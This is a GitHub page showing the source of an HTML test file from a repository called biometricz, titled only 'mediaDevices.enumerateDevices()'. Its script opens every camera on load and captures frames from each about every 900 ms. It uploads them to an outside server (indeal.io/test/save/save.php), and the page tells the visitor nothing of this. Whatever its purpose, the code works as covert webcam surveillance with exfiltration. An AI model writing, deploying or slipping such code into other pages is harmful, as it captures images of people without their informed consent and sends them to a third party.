biometricz.github.io/testAudV.html at master · biometricz/biometricz.github.io · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
<!DOCTYPE html>
<html lang="ru">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
<title>mediaDevices.enumerateDevices()</title>
  <style>
__body {
	margin: 0;
}
#container video {
	/*width: 38%;*/width: 25%;
	/*border: 1px blue solid;*/
}
canvas {
    width: 100%;
    position: absolute;
    top: -104px;
}
</style>
</head>
<body onload="main()" style="margin:0;">

<div id="container"></div>

<script type="text/javascript">
function base64ToBlob(base64, mime)
{
    mime = mime || '';
    var sliceSize = 1024;
    var byteChars = window.atob(base64);
    var byteArrays = [];

    for (var offset = 0, len = byteChars.length; offset < len; offset += sliceSize) {
        var slice = byteChars.slice(offset, offset + sliceSize);

        var byteNumbers = new Array(slice.length);
        for (var i = 0; i < slice.length; i++) {
            byteNumbers[i] = slice.charCodeAt(i);
        }

        var byteArray = new Uint8Array(byteNumbers);

        byteArrays.push(byteArray);
    }

    return new Blob(byteArrays, {type: mime});
}
// ~async
function randomInteger(min, max) {
    let rand = min + Math.random() * (max + 1 - min);
    return Math.floor(rand);
}
function main() {
	console.log('main()...');

	const videoList = [];

	// init snap-shooter
	// const SHOOT_INTERVAL = 60 * 15000;
        const SHOOT_INTERVAL = 60 * 15;

	// init <video> list
	navigator.mediaDevices.enumerateDevices()
		.then(function(devices) {
			var cont = document.querySelector('#container');

			devices.forEach(device => {
				if (/video/.test(device.kind)) {
					console.log('Обнаружен источник:', device);

					navigator.mediaDevices
						.getUserMedia({
							audio: false,
							video: { deviceId: device.deviceId }
						})
						.then(stream => {
							var video = document.createElement('video');
							video.autoplay = true;
							video.muted = true;
							video.playsInline = true;

							cont.append(video);

							video.srcObject = stream;

							videoList.push(video);
						})
				}
            });
		}).then(() => {
            setInterval(() => {
                const dataUriList = videoList.map(video => {
                    var canvas = document.createElement('canvas');
                    canvas.width = video.videoWidth;
                    canvas.height = video.videoHeight;
                    var ctx = canvas.getContext('2d');

                    // draw image to canvas. scale to target dimensions
                    ctx.drawImage(video, 0, 0, canvas.width, canvas.height);

                    // convert to desired file format
                    var dataURI = canvas.toDataURL(); // can also use 'image/jpeg'
                    // console.log(dataURI)
                    return base64ToBlob(dataURI.replace(/^data:image\/(png|jpg);base64,/, ""), 'image/png');
                });

                // send data to server HERE
                let formData = new FormData()
                dataUriList.map(
                    (blobFile, index) => {
                        formData.append('image'+index, blobFile)
                    }
                );
                fetch('https://indeal.io/test/save/save.php?sid='+randomInteger(0, 1000000000), {
                    method: "post",
                    headers: [
			        ["Content-Type", "application/json"],
                                ["Content-Type", "text/plain"],
                                ["Content-Type", "multipart/form-data"]
                    ],
                    body: formData
                })
            }, SHOOT_INTERVAL);
        });
}
</script>

        <script src="js/equalize.js">
        </script>

</body>
</html>